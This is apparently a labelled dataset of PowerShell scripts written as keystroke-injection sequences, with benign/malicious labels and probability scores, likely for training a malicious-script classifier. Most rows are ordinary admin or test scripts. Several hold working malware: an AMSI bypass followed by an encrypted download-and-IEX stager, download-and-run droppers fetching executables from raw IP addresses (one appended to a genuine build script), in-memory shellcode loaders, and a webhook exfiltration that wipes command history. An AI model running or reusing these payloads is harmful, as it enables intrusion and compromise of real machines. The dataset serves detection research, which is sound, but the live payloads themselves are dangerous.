"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_bas2e672"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_25.txt"") -Encoding UTF8 enter",0,0,0.9999664,3.365676e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install tortoisesvn enter A enter enter enter,0,0,0.9999598,4.019407e-05
"win+r powershell enter [CmdletBinding()] param ( [string]$Source = 't:\', [string]$Destination = 'x:\ enter DCU', [string]$XMLFile ) function Copy-Folder { [CmdletBinding()] enter enter",1,1,0.0012970489,0.9987029
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_8h02enmf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.438588e-05
win+r powershell enter Register-PSFTeppScriptblock -Name PSFramework-Input-ObjectProperty -ScriptBlock enter { function Get-Property { [CmdletBinding()] param ( $InputObject ) i enter f (-not $InputObject) { return @{ } } $properties = @{ } enter enter,1,1,0.002925609,0.99707437
"win+r enter powershell enter enter enter & (Join-Path -Path $PSScriptRoot -ChildPath 'Initialize-CarbonTest.ps1' -Resolve) enter enter function Init enter { enter } enter enter function GivenGroup enter { enter param( enter $Name, enter $WithMember enter ) enter enter GivenUser -UserName $WithMember enter enter $WithMember = $WithMember | ForEach-Object { Resolve-IdentityName -Name $_ } enter enter Install-Group -Name $Name -Description ('Carbon.{0} test group.' -f ($PSCommandPath | Split-Path -Leaf)) enter $group = Get-Group -Name $Name enter $membersToRemove = $group.Members | enter Where-Object { enter $currentMemberName = Resolve-Identity -SID $_.Sid enter return ($currentMemberName -notin $WithMember ) enter } enter enter foreach( $memberToRemove in $membersToRemove ) enter { enter $group.Members.Remove($memberToRemove) enter } enter enter $group.Save() enter $group.Dispose() enter enter Add-GroupMember -Name $Name -Member $WithMember enter } enter enter function GivenUser enter { enter param( enter $UserName enter ) enter enter foreach( $member in $UserName ) enter { enter Install-User -Credential (New-Credential -UserName $member -Password 'UVjh9DXN8YqD') -Description ('Carbon.{0} test user.' -f ($PSCommandPath | Split-Path -Leaf)) enter } enter } enter enter function ThenError enter { enter param( enter $Matches enter ) enter enter It ('should write no errors') { enter $Global:Error | Should Match $Matches enter } enter } enter enter function ThenNoError enter { enter param( enter ) enter enter It ('should write no errors') { enter $Global:Error | Should BeNullOrEmpty enter } enter } enter enter function ThenGroup enter { enter param( enter $Name, enter [string[]] enter $HasMember enter ) enter enter $HasMember = $HasMember | ForEach-Object { Resolve-IdentityName -Name $_ } enter enter $group = Get-Group -Name $Name enter It ('should remove members') { enter enter $group.Members.Count | Should Be $HasMember.Count enter foreach( $currentMember in $group.Members ) enter { enter $currentMemberName = Resolve-IdentityName -SID $currentMember.Sid enter $currentMemberName -in $HasMember | Should Be $true enter } enter $group.Save() enter $group.Dispose() enter } enter } enter enter function WhenRemoving enter { enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter $Member, enter $FromGroup enter ) enter enter $Global:Error.Clear() enter Remove-GroupMember -Name $FromGroup -Member $Member enter } enter enter Describe 'Remove-GroupMember.when removing single member' { enter Init enter GivenGroup 'FubarSnafu' -WithMember 'one','two' enter WhenRemoving 'one' -FromGroup 'FubarSnafu' enter ThenGroup 'FubarSnafu' -HasMember 'two' enter } enter enter Describe 'Remove-GroupMember.when removing multiple members' { enter Init enter GivenGroup 'FubarSnafu' -WithMember 'one','two','three' enter WhenRemoving 'one','two' -FromGroup 'FubarSnafu' enter ThenGroup 'FubarSnafu' -HasMember 'three' enter } enter enter Describe 'Remove-GroupMember.when removing all members' { enter Init enter GivenGroup 'FubarSnafu' -WithMember 'one','two','three' enter WhenRemoving 'one','two','three' -FromGroup 'FubarSnafu' enter ThenGroup 'FubarSnafu' -HasMember @() enter } enter enter Describe 'Remove-GroupMember.when removing user not in group' { enter Init enter GivenGroup 'FubarSnafu' -WithMember 'one' enter GivenUser 'two' enter WhenRemoving 'two' -FromGroup 'FubarSnafu' enter ThenGroup 'FubarSnafu' -HasMember 'one' enter ThenNoError enter } enter enter Describe 'Remove-GroupMember.when removing user that does not exist' { enter Init enter GivenGroup 'FubarSnafu' -WithMember 'one' enter WhenRemoving 'fdfsadfdsf' -FromGroup 'FubarSnafu' -ErrorAction SilentlyContinue enter ThenGroup 'FubarSnafu' -HasMember 'one' enter ThenError -Matches 'Identity\ ''fdfsadfdsf'' not found\.' enter } enter enter Describe 'Remove-GroupMember.when group does not exist' { enter Init enter WhenRemoving 'fdfsadfdsf' -FromGroup 'jkfdsjfldsf' -ErrorAction SilentlyContinue enter ThenError -Matches 'Local\ group\ ""jkfdsjfldsf"" not found\.' enter } enter enter Describe 'Remove-GroupMember.when using -WhatIf switch' { enter Init enter GivenGroup 'FubarSnafu' -WithMember 'one','two' enter WhenRemoving 'one' -FromGroup 'FubarSnafu' -WhatIf enter ThenNoError enter ThenGroup 'FubarSnafu' -HasMember 'one','two' enter } enter enter",0,0,0.9999441,5.589068e-05
"win+r powershell enter  function Set-MrInternetConnectionSharing { [CmdletBinding()] param ( [Para enter meter(Mandatory, ValueFromPipeline, ValueFromPipelineByPropertyName)] [Valida enter teScript({ If ((Get-NetAdapter -Name $_ -ErrorAction SilentlyContinue -OutVaria enter ble INetNIC) -and (($INetNIC).Status -ne 'Disabled' -or ($INetNIC).Status -ne 'N enter ot Present')) { $True } enter enter",1,1,0.0005066572,0.99949336
"win+r enter powershell enter enter enter [REf].ASSEmBlY.GetTYPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GeTFIELD('amsiInitFailed','NonPublic,Static').SEtVALuE($nuLl,$trUe)};[SYSteM.NEt.SeRvICePOintManaGeR]::ExpEcT100ContiNUE=0;$wC=NeW-OBject SYSTeM.NET.WeBClIeNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$Wc.HEaDers.Add('User-Agent',$u);$wC.ProXy=[SYStEm.NET.WEbREQUesT]::DEFAULTWebPRoxy;$WC.Proxy.CredEnTiALS = [SysTeM.NET.CredeNtialCache]::DEFaUltNETWorKCredENTiAls;$K=[SysTEM.TeXt.EnCoDIng]::ASCII.GETBytES('sT2[VWB67P:8ESxc}Mo{,A!QN(J0_eHK');$R={$D,$K=$ArGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COUnT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-BxOr$S[($S[$I]+$S[$H])%256]}};$wc.HEAders.AdD(""Cookie"",""session=Vf/PpPfYzVqFtikZF0sTnw5KAtE="");$ser='http://162.253.133.189:443';$t='/login/process.php';$dAtA=$WC.DOwnLOAdDaTA($ser+$t);$IV=$DATa[0..3];$dATa=$daTa[4..$daTA.lengTh];-JOin[ChAR[]](& $R $datA ($IV+$K))|IEX enter enter",1,1,5.4927023e-05,0.99994504
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_7d4biofo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter",0,0,0.99996614,3.381198e-05
"win+r enter powershell enter enter enter param( enter [Parameter()] enter [switch] enter $Bootstrap, enter enter [Parameter()] enter [switch] enter $Clean, enter enter [Parameter()] enter [switch] enter $Test enter ) enter enter $NeededTools = @{ enter OpenSsl = ""openssl for macOS"" enter PowerShellGet = ""PowerShellGet latest"" enter InvokeBuild = ""InvokeBuild latest"" enter } enter enter if ((-not $PSVersionTable[""OS""]) -or $PSVersionTable[""OS""].Contains(""Windows"")) { enter $OS = ""Windows"" enter } elseif ($PSVersionTable[""OS""].Contains(""Darwin"")) { enter $OS = ""macOS"" enter } else { enter $OS = ""Linux"" enter } enter function needsOpenSsl () { enter if ($OS -eq ""macOS"") { enter try { enter $opensslVersion = (openssl version) enter } catch { enter return $true enter } enter } enter return $false enter } enter enter function needsPowerShellGet () { enter if (Get-Module -ListAvailable -Name PowerShellGet) { enter return $false enter } enter return $true enter } enter enter function needsInvokeBuild () { enter if (Get-Module -ListAvailable -Name InvokeBuild) { enter return $false enter } enter return $true enter } enter enter function getMissingTools () { enter $missingTools = @() enter enter if (needsOpenSsl) { enter $missingTools += $NeededTools.OpenSsl enter } enter if (needsPowerShellGet) { enter $missingTools += $NeededTools.PowerShellGet enter } enter if (needsInvokeBuild) { enter $missingTools += $NeededTools.InvokeBuild enter } enter enter return $missingTools enter } enter enter function hasMissingTools () { enter return ((getMissingTools).Count -gt 0) enter } enter enter if ($Bootstrap) { enter $string = ""Here is what your environment is missing:`n"" enter $missingTools = getMissingTools enter if (($missingTools).Count -eq 0) { enter $string += ""* nothing!`n`n Run this script without a flag to build or a -Clean to clean."" enter } else { enter $missingTools | ForEach-Object {$string += ""* $_`n""} enter $string += ""`nAll instructions for installing these tools can be found on PowerShell Editor Services' Github:`n"" ` enter + ""https://github.com/powershell/PowerShellEditorServices enter } enter Write-Host ""`n$string`n"" enter } elseif(hasMissingTools) { enter Write-Host ""You are missing needed tools. Run './build.ps1 -Bootstrap' to see what they are."" enter } else { enter if($Clean) { enter Invoke-Build Clean enter } enter enter Invoke-Build Build enter enter if($Test) { enter Invoke-Build Test enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.4969787e-05,0.99994504
"win+r enter powershell enter enter enter Write-Progress -Activity ""Remove Apps"" -Status ""Looking for apps to remove..."" -PercentComplete 0 enter enter $PackagesToRemove = enter ""Microsoft.3DBuilder"", enter ""Microsoft.Microsoft3DViewer"", enter ""Microsoft.BingFinance"", enter ""Microsoft.BingNews"", enter ""Microsoft.BingSports"", enter ""Microsoft.BingTranslator"", enter ""Microsoft.CommsPhone"", enter ""Microsoft.Getstarted"", enter ""Microsoft.Messaging"", enter ""Microsoft.MicrosoftOfficeHub"", enter ""Microsoft.MicrosoftSolitaireCollection"", enter ""Microsoft.Office.OneNote"", enter ""Microsoft.Office.Sway"", enter ""Microsoft.SkypeApp"", enter ""Microsoft.People"", enter ""Microsoft.WindowsAlarms"", enter ""Microsoft.WindowsCamera"", enter ""Microsoft.WindowsCommunicationsApps"", enter ""Microsoft.WindowsMaps"", enter ""Microsoft.WindowsPhone"", enter ""Microsoft.WindowsSoundRecorder"", enter ""Microsoft.XboxApp"", enter ""Microsoft.ZuneMusic"", enter ""Microsoft.ZuneVideo"", enter ""Microsoft.OneConnect"", enter ""Microsoft.WindowsFeedbackHub"" enter enter $ProvisionPackagesToRemove = @() enter $AllUserPackagesToRemove = @() enter enter foreach($ProvisionedPackage in Get-AppxProvisionedPackage -Online) { enter foreach($PackageToRemove in $PackagesToRemove) { enter if($ProvisionedPackage.PackageName.Contains($PackageToRemove)) { enter $ProvisionPackagesToRemove += $ProvisionedPackage enter } enter } enter } enter enter foreach($AllUserPackage in Get-AppxPackage -AllUsers) { enter foreach($PackageToRemove in $PackagesToRemove) { enter if($AllUserPackage.PackageFullName.Contains($PackageToRemove)) { enter $AllUserPackagesToRemove += $AllUserPackage enter } enter } enter } enter enter $Total = $ProvisionPackagesToRemove.Count + $AllUserPackagesToRemove.Count enter $Progress = 0 enter enter foreach($ProvisionedPackage in $ProvisionPackagesToRemove) { enter Write-Progress -Activity ""Remove Apps"" -Status (""Removing Provisioned App: "" + $ProvisionedPackage.PackageName + ""..."") -PercentComplete (($Progress++ / $Total) * 100) enter $ProvisionedPackage | Remove-AppxProvisionedPackage -Online enter } enter enter foreach($AllUserPackage in $AllUserPackagesToRemove) { enter Write-Progress -Activity ""Remove Apps"" -Status (""Removing AllUsers App: "" + $AllUserPackage.Name + ""..."") -PercentComplete (($Progress++ / $Total) * 100) enter $AllUserPackage | Remove-AppxPackage -AllUsers enter } enter $ORFa = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $ORFa -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x67,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$4c8H=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($4c8H.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$4c8H,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1787745e-05,0.99994826
"win+r powershell enter  function Import-Excel { [CmdletBinding()] Param([Parameter(Mandatory= enter $true,ValueFromPipeline=$true)][string]$Path, [Parameter(Mandatory=$false)][sw enter itch]$NoHeaders ) $Path = if([IO.Path]::IsPathRooted($Path)){$Path}else{Join enter -Path -Path (Get-Location) -ChildPath $Path} if(!(Test-Path $Path) -or $Path - enter notmatch "".xls$|.xlsx$"") { Write-Host ""ERROR: Invalid excel file [$Path]."" -Fore enter GroundColor Red; return } $excel = New-Object -ComObject Excel.Application enter enter",1,1,0.0023689056,0.9976311
"win+r powershell enter Set-StrictMode -Version 'Latest' & (Join-Path -Path $PSScriptRoot -ChildPath 'I enter nitialize-CarbonTest.ps1' -Resolve) $EnvVarName = ""CarbonRemoveEnvironmentVar"" enter function Assert-NoTestEnvironmentVariableAt( $Scope ) { $actualValue = [Envir enter onment]::GetEnvironmentVariable($EnvVarName, $Scope) It ('should remove variabl enter e from {0} scope' -f $Scope) { $actualValue | Should BeNullOrEmpty } enter",1,1,0.006136859,0.9938631
"win+r powershell enter [CmdletBinding()] param( [Parameter(Mandatory=$true,Position=0)] [string] $Na enter me, [Parameter(Mandatory=$true,Position=1)] [string] $Value ) Set-StrictMod enter e -Version 'Latest' enter enter",1,1,0.0025662978,0.9974337
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_xyieqjpi"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.389046e-05
"win+r enter powershell enter enter enter powershell -exec bypass -c enter $u=""http://85.192.63.184/s.exe""; enter $p=[System.Net.WebRequest]::GetSystemWebProxy(); enter $p.Credentials=[System.Net.CredentialCache]::DefaultCredentials; enter $w=New-Object net.webclient; enter $w.Headers.add('Host','hacktree.org') enter $w.Headers.add('user-agent', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;') enter $w.proxy=$p; enter $w.UseDefaultCredentials=$true; enter $s=$w.DownloadFile($u,""C:\s.exe"");Start-Process ""C:\s.exe""; enter enter",1,1,5.4484273e-05,0.9999455
"win+r enter powershell enter enter enter function Get-ISEShortCut enter { enter enter PARAM($Key,$Name) enter BEGIN enter { enter function Test-IsISE enter { enter try enter { enter return $psISE -ne $null; enter } enter catch enter { enter return $false; enter } enter } enter } enter PROCESS enter { enter if ($(Test-IsISE) -eq $true) enter { enter $gps = $psISE.GetType().Assembly enter $rm = New-Object System.Resources.ResourceManager GuiStrings, $gps enter $rs = $rm.GetResourceSet((Get-Culture), $true, $true) enter $rs | Where-Object Name -match 'Shortcut\d?$|^F\d+Keyboard' | enter Sort-Object Value enter enter } enter } enter } enter enter",0,0,0.99977905,0.00022097392
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install putty enter A enter enter enter,0,0,0.99995995,3.9994597e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_slu1h4bx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4399196e-05
"win+r enter powershell enter enter enter Describe ""Select-Xml DRT Unit Tests"" -Tags ""CI"" { enter enter BeforeAll { enter $testfile = ""TestDrive: tab estfile.xml"" enter $xmlContent = @"" enter <?xml version =""1.0"" encoding=""ISO-8859-1""?> enter <bookstore> enter <book category=""CHILDREN""> enter <title lang=""english"">Harry Potter</title> enter <price>30.00</price> enter </book> enter <book category=""WEB""> enter <title lang=""english"">Learning XML</title> enter <price>25.00</price> enter </book> enter </bookstore> enter ""@ enter Set-Content -Path $testfile -Value $xmlContent enter } enter enter It ""Can select text from an XML document""{ enter $results = Select-Xml -Path $testfile -XPath ""/bookstore/book/title"" enter $results | Should -HaveCount 2 enter $results[0].Node."" enter $results[1].Node."" enter } enter } enter enter Describe ""Select-Xml Feature Tests"" -Tags ""Feature"" { enter enter BeforeAll { enter $fileName = New-Item -Path ""TestDrive: tab estSelectXml.xml"" enter $xmlContent = @"" enter <Root> enter <Node Attribute='blah' /> enter </Root> enter ""@ enter enter Set-Content -Path $fileName -Value $xmlContent enter enter $fileNameWithDots = $fileName.FullName.Replace(""\"", ""\.\"") enter enter $driveLetter = [string]($fileName.FullName)[0] enter $fileNameAsNetworkPath = ""\\localhost\$driveLetter`$"" + $fileName.FullName.SubString(2) enter enter $testCases = @( enter @{testName = 'Literalpath with relative paths'; testParameter = @{LiteralPath = $fileName.Name; XPath = 'Root'}}, enter @{testName = 'Literalpath with absolute paths'; testParameter = @{LiteralPath = $fileName.FullName; XPath = 'Root'}}, enter @{testName = 'Literalpath with path with dots'; testParameter = @{LiteralPath = $fileNameWithDots; XPath = 'Root'}}, enter @{testName = 'Path with relative paths'; testParameter = @{Path = $fileName.Name; XPath = 'Root'}}, enter @{testName = 'Path with absolute paths'; testParameter = @{Path = $fileName.FullName; XPath = 'Root'}}, enter @{testName = 'Path with path with dots'; testParameter = @{Path = $fileNameWithDots; XPath = 'Root'}} enter ) enter enter if ( ! $IsCoreCLR ) { enter $testcases += @{testName = 'Literalpath with network paths'; testParameter = @{LiteralPath = $fileNameAsNetworkPath; XPath = 'Root'}} enter $testcases += @{testName = 'Path with network paths'; testParameter = @{LiteralPath = $fileNameAsNetworkPath; XPath = 'Root'}} enter } enter enter Push-Location -Path $fileName.Directory enter } enter enter AfterAll { enter Pop-Location enter } enter enter It ""Can work with input files using <testName>"" -TestCases $testCases { enter param($testParameter) enter enter $node = Select-Xml @testParameter enter $node | Should -HaveCount 1 enter $node.Path | Should -Be $fileName.FullName enter } enter enter It ""Can work with input streams"" { enter [xml]$xml = ""<a xmlns='bar'><b xmlns:b='foo'>hello</b><c>world</c></a>"" enter $node = Select-Xml -Xml $xml -XPath ""//c:b"" -Namespace @{c='bar'} enter $node.Path | Should -BeExactly ""InputStream"" enter $node.Pattern | Should -BeExactly ""//c:b"" enter $node.ToString() | Should -BeExactly ""hello"" enter } enter enter It ""Can throw on non filesystem paths using <parameter>"" -TestCases @( enter @{parameter=""LiteralPath""; expectedError='ProcessingFile,Microsoft.PowerShell.Commands.SelectXmlCommand'}, enter @{parameter=""Path""; expectedError='ProcessingFile,Microsoft.PowerShell.Commands.SelectXmlCommand'} enter ) { enter param($parameter, $expectedError) enter enter $env:xmltestfile = $xmlContent enter $file = 'env:xmltestfile' enter $params = @{$parameter=$file} enter { Select-Xml @params ""Root"" -ErrorAction Stop } | Should -Throw -ErrorId $expectedError enter Remove-Item -Path 'env:xmltestfile' enter } enter enter It ""Can throw for invalid XML file"" { enter $testfile = ""TestDrive: tab est.xml"" enter Set-Content -Path $testfile -Value ""<a><b>"" enter { Select-Xml -Path $testfile -XPath foo -ErrorAction Stop } | Should -Throw -ErrorId 'ProcessingFile,Microsoft.PowerShell.Commands.SelectXmlCommand' enter } enter enter It ""Can throw for invalid XML namespace"" { enter [xml]$xml = ""<a xmlns='bar'><b xmlns:b='foo'>hello</b><c>world</c></a>"" enter { Select-Xml -Xml $xml -XPath foo -Namespace @{c=$null} -ErrorAction Stop } | Should -Throw -ErrorId 'PrefixError,Microsoft.PowerShell.Commands.SelectXmlCommand' enter } enter enter It ""Can throw for invalid XML content"" { enter { Select-Xml -Content ""hello"" -XPath foo -ErrorAction Stop } | Should -Throw -ErrorId 'InvalidCastToXmlDocument,Microsoft.PowerShell.Commands.SelectXmlCommand' enter } enter enter It ""Can use ToString() on nested XML node"" { enter $node = Select-Xml -Content ""<a><b>one<c>hello</c></b></a>"" -XPath ""//b"" enter $node.ToString() | Should -BeExactly ""one<c>hello</c>"" enter } enter enter It ""Can use ToString() with file"" { enter $testfile = Join-Path $TestDrive ""test.xml"" enter Set-Content -Path $testfile -Value ""<a><b>hello</b></a>"" enter $node = Select-Xml -Path $testfile -XPath ""//b"" enter $node.ToString() | Should -BeExactly ""hello:$testfile"" enter } enter } enter enter",0,0,0.99995005,5.0004004e-05
"win+r powershell enter win r powershell enter $hookurl = ''; $content = ""public ip: $(invoke-webrequest -uri ""http://icanhazip.com"" | select-object -expandproperty ""content"")`n webhook_testv2.txt works!""; $content += $contentpt2; $payload = [pscustomobject]@{ content = $content }; invoke-restmethod -uri $hookurl -method post -body ($payload | convertto-json) -contenttype 'application/json'; enter [microsoft.powershell.psconsolereadline]::clearhistory(); remove-item (get-psreadlineoption).historysavepath; enter exit enter enter",0,1,0.04596846,0.95403147
"win+r enter powershell enter enter enter param($Path = ""C:\Users\mmessano\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Windows PowerShell.lnk"" ) enter $Black = 0 enter $DarkBlue = 1 enter $DarkGreen = 2 enter $DarkCyan = 3 enter $DarkRed = 4 enter $DarkMagenta = 5 enter $DarkYellow = 6 enter $Gray = 7 enter $DarkGray = 8 enter $Blue = 9 enter $Green = 10 enter $Cyan = 11 enter $Red = 12 enter $Magenta = 13 enter $Yellow = 14 enter $White = 15 enter $lnk = E:\Dexma\powershell_bits\Get-Link.ps1 $Path enter enter $lnk.ConsoleColors[$Black] = "" enter $lnk.ConsoleColors[$DarkBlue] = "" enter $lnk.ConsoleColors[$DarkGreen] = "" enter $lnk.ConsoleColors[$DarkCyan] = "" enter $lnk.ConsoleColors[$DarkRed] = "" enter $lnk.ConsoleColors[$DarkMagenta] = "" enter $lnk.ConsoleColors[$DarkYellow] = "" enter $lnk.ConsoleColors[$Gray] = "" enter $lnk.ConsoleColors[$DarkGray] = "" enter $lnk.ConsoleColors[$Blue] = "" enter $lnk.ConsoleColors[$Green] = "" enter $lnk.ConsoleColors[$Cyan] = "" enter $lnk.ConsoleColors[$Red] = "" enter $lnk.ConsoleColors[$Magenta] = "" enter $lnk.ConsoleColors[$Yellow] = "" enter $lnk.ConsoleColors[$White] = "" enter $lnk.Save() enter enter",0,0,0.9994423,0.00055775465
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xd8,0xd9, enter 0x74,0x24,0xf4,0x5b,0x29,0xc9,0xbf,0xed,0x98,0x45,0x64,0xb1,0x47,0x31,0x7b,0x18, enter 0x03,0x7b,0x18,0x83,0xc3,0xe9,0x7a,0xb0,0x98,0x19,0xf8,0x3b,0x61,0xd9,0x9d,0xb2, enter 0x84,0xe8,0x9d,0xa1,0xcd,0x5a,0x2e,0xa1,0x80,0x56,0xc5,0xe7,0x30,0xed,0xab,0x2f, enter 0x36,0x46,0x01,0x16,0x79,0x57,0x3a,0x6a,0x18,0xdb,0x41,0xbf,0xfa,0xe2,0x89,0xb2, enter 